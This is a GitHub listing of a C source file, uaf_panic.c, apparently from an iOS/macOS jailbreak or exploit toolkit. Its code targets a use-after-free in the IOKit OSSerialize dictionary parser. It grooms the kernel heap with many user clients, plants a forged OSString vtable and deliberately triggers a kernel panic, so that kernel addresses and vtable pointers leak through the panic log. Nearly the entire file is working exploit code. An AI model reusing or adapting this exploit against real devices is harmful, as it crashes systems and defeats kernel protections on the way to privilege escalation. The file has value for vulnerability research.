-
Notifications
You must be signed in to change notification settings - Fork 41
Expand file tree
/
Copy pathuaf_panic.c
More file actions
336 lines (298 loc) · 11.6 KB
/
uaf_panic.c
File metadata and controls
336 lines (298 loc) · 11.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
#include <stdint.h> // uint32_t
#include <sys/sysctl.h> // CTL_*, KERN_OSVERSION, HW_MODEL, sysctl
#include <unistd.h> // sleep, sync
#include <IOKit/IOKitLib.h> // IO*, io_*
#include "common.h" // DEBUG
#include "io.h" // kOS*, dict_parse, _io_*
#include "offsets.h" // use_new_payload
#include "slide.h" // get_kernel_anchor
#include "try.h" // THROW, TRY, RETHROW
#include "uaf_panic.h"
static void print_info(void)
{
// Neat info
addr_t anchor = get_kernel_anchor();
char b[32];
size_t s;
int cmd[2];
DEBUG("************** Info **************");
DEBUG("* To go along with the panic log *");
s = sizeof(b);
cmd[0] = CTL_HW;
cmd[1] = HW_MODEL;
if(sysctl(cmd, sizeof(cmd) / sizeof(*cmd), b, &s, NULL, 0) == 0)
{
DEBUG("* Model: %-23s *", b);
}
s = sizeof(b);
cmd[0] = CTL_KERN;
cmd[1] = KERN_OSVERSION;
if(sysctl(cmd, sizeof(cmd) / sizeof(*cmd), b, &s, NULL, 0) == 0)
{
DEBUG("* OS build: %-20s *", b);
}
DEBUG("* Anchor: " ADDR
#ifdef __LP64__
" "
#else
" "
#endif
" *", anchor);
DEBUG("**********************************");
}
void uaf_with_vtab(addr_t addr)
{
#ifdef __LP64__
# define NATIVE "uint64"
#else
# define NATIVE "uint32"
#endif
DEBUG("Using UAF to leak a " NATIVE " from address " ADDR "...", addr);
#undef NATIVE
OSString osstr =
{
.vtab = (vtab_t)(addr - 4 * sizeof(void*)),
.retainCount = 100,
.flags = kOSStringNoCopy,
.length = 0,
.string = NULL,
};
uint32_t *data = (uint32_t*)&osstr;
const char str[4] = "str",
ref[4] = "ref";
print_info();
DEBUG("Triggering panic!");
if(use_new_payload())
{
uint32_t dict_92[] =
{
kOSSerializeMagic, // Magic
kOSSerializeEndCollection | kOSSerializeDictionary | 4, // Dictionary with 4 entries
kOSSerializeString | 4, // String that'll get freed
*((uint32_t*)str),
kOSSerializeData | sizeof(OSString), // OSData that will replace our string
#ifdef __LP64__
data[0], // vtable (lower half)
data[1], // vtable (upper half)
data[2], // retainCount
data[3], // flags
data[4], // length
data[5], // (padding)
data[6], // string pointer (lower half)
data[7], // string pointer (upper half)
#else
data[0], // vtable
data[1], // retainCount
data[2], // flags
data[3], // length
data[4], // string pointer
#endif
kOSSerializeSymbol | 4, // Just a name
*((uint32_t*)ref),
kOSSerializeEndCollection | kOSSerializeObject | 1, // Call ->retain() on the freed string
};
dict_parse(dict_92, sizeof(dict_92));
}
else
{
uint32_t dict_90[] =
{
kOSSerializeMagic, // Magic
kOSSerializeEndCollection | kOSSerializeDictionary | 4, // Dictionary with 4 entries
kOSSerializeSymbol | 4, // Just a name
*((uint32_t*)str),
kOSSerializeString | 4, // String that'll get freed
*((uint32_t*)str),
kOSSerializeObject | 1, // Same name as before
kOSSerializeBoolean | 1, // Whatever value
kOSSerializeObject | 1, // Same name again
kOSSerializeData | sizeof(OSString), // OSData that will replace our string
#ifdef __LP64__
data[0], // vtable (lower half)
data[1], // vtable (upper half)
data[2], // retainCount
data[3], // flags
data[4], // length
data[5], // (padding)
data[6], // string pointer (lower half)
data[7], // string pointer (upper half)
#else
data[0], // vtable
data[1], // retainCount
data[2], // flags
data[3], // length
data[4], // string pointer
#endif
kOSSerializeSymbol | 4, // Just a name
*((uint32_t*)ref),
kOSSerializeEndCollection | kOSSerializeObject | 2, // Call ->retain() on the freed string
};
dict_parse(dict_90, sizeof(dict_90));
}
// Write everything to disk
sync();
// Allow SSH/syslog to deliver latest output
sleep(3);
DEBUG("...shit, we're still here.");
}
void uaf_panic_leak_DATA_const_base(void)
{
#ifdef __LP64__
THROW("Not supported on 64-bit - leak vtable instead");
#else
// Unsafe version of get_kernel_slide
uaf_with_vtab((get_kernel_anchor() & 0xfff00000) + 0x1244);
#endif
}
void uaf_panic_leak_vtab(void)
{
#define NUMSTR_PLUG 255
#define NUMSTR_PAD 64
#define NUM_CLIENTS 16
// Before we spawn a bazillion user clients
get_kernel_anchor();
DEBUG("Using UAF to leak vtable...");
const char str[4] = "str";
uint32_t
// The trigger
dict_92[] =
{
kOSSerializeMagic, // Magic
kOSSerializeEndCollection | kOSSerializeDictionary | 2, // Dictionary with 2 entries
kOSSerializeString | 4, // String that'll get freed
*((uint32_t*)str),
kOSSerializeEndCollection | kOSSerializeObject | 1, // Call ->retain() on the freed string
},
dict_90[] =
{
kOSSerializeMagic, // Magic
kOSSerializeEndCollection | kOSSerializeDictionary | 2, // Dictionary with 2 entries
kOSSerializeSymbol | 4, // Just a name
*((uint32_t*)str),
kOSSerializeString | 4, // String that'll get freed
*((uint32_t*)str),
kOSSerializeObject | 1, // Same name
kOSSerializeBoolean | 1, // Whatever value
kOSSerializeEndCollection | kOSSerializeObject | 2, // Call ->retain() on the freed string
},
// the slot for the trigger
dict_hole[] =
{
kOSSerializeMagic,
kOSSerializeEndCollection | kOSSerializeDictionary | 2,
kOSSerializeSymbol | 4,
*((uint32_t*)str),
kOSSerializeEndCollection | kOSSerializeString | 4,
*((uint32_t*)str),
},
// to plug the existing holes on the heap
dict_plug[2 + NUMSTR_PLUG * 4] =
{
kOSSerializeMagic,
kOSSerializeEndCollection | kOSSerializeDictionary | (2 * NUMSTR_PLUG),
},
// to get an OSString next to our hole
dict_pad[2 + NUMSTR_PAD * 4] =
{
kOSSerializeMagic,
kOSSerializeEndCollection | kOSSerializeDictionary | (2 * NUMSTR_PAD),
};
for(uint32_t i = 0; i < NUMSTR_PLUG; ++i)
{
dict_plug[2 + i * 4 ] = kOSSerializeSymbol | 4;
dict_plug[2 + i * 4 + 1] = i;
dict_plug[2 + i * 4 + 2] = kOSSerializeString | 4;
dict_plug[2 + i * 4 + 3] = i;
if(i + 1 == NUMSTR_PLUG)
{
dict_plug[2 + i * 4 + 2] |= kOSSerializeEndCollection;
}
}
for(uint32_t i = 0; i < NUMSTR_PAD; ++i)
{
dict_pad[2 + i * 4 ] = kOSSerializeSymbol | 4;
dict_pad[2 + i * 4 + 1] = i;
dict_pad[2 + i * 4 + 2] = kOSSerializeString | 4;
dict_pad[2 + i * 4 + 3] = i;
if(i + 1 == NUMSTR_PAD)
{
dict_pad[2 + i * 4 + 2] |= kOSSerializeEndCollection;
}
}
if(use_new_payload())
{
PRINT_BUF("dict_92", dict_92, sizeof(dict_92));
}
else
{
PRINT_BUF("dict_90", dict_90, sizeof(dict_90));
}
PRINT_BUF("dict_hole", dict_hole, sizeof(dict_hole));
PRINT_BUF("dict_plug", dict_plug, sizeof(dict_plug));
PRINT_BUF("dict_pad" , dict_pad , sizeof(dict_pad) );
DEBUG("Spawning user clients...");
io_connect_t client_plug,
client_hole[NUM_CLIENTS],
client_pad [NUM_CLIENTS];
DEBUG("Plugging existing heap holes...");
client_plug = _io_spawn_client(dict_plug, sizeof(dict_plug));
DEBUG("Allocating (hopefully) contiguous memory...");
for(uint32_t i = 0; i < NUM_CLIENTS; ++i)
{
TRY
({
client_hole[i] = _io_spawn_client(dict_hole, sizeof(dict_hole));
TRY
({
client_pad[i] = _io_spawn_client(dict_pad , sizeof(dict_pad));
})
RETHROW
({
_io_release_client(client_hole[i]);
})
})
RETHROW
({
for(; i > 0; --i) // Can't use >= 0 because unsigned
{
_io_release_client(client_hole[i - 1]);
_io_release_client(client_hole[i - 1]);
}
})
}
TRY
({
DEBUG("Poking holes...");
// This is equivalent to cleanup, so no try blocks
for(uint32_t i = 0; i < NUM_CLIENTS; ++i)
{
_io_release_client(client_hole[i]);
}
print_info();
DEBUG("Triggering panic!");
// Write everything to disk
sync();
// Async cleanup & allow SSH/syslog to deliver latest output
sleep(3);
if(use_new_payload())
{
dict_parse(dict_92, sizeof(dict_92));
}
else
{
dict_parse(dict_90, sizeof(dict_90));
}
DEBUG("...shit, we're still here.");
})
FINALLY
({
for(uint32_t i = 0; i < NUM_CLIENTS; ++i)
{
_io_release_client(client_pad[i]);
}
_io_release_client(client_plug);
})
#undef NUMSTR_PLUG
#undef NUMSTR_PAD
#undef NUM_CLIENTS
}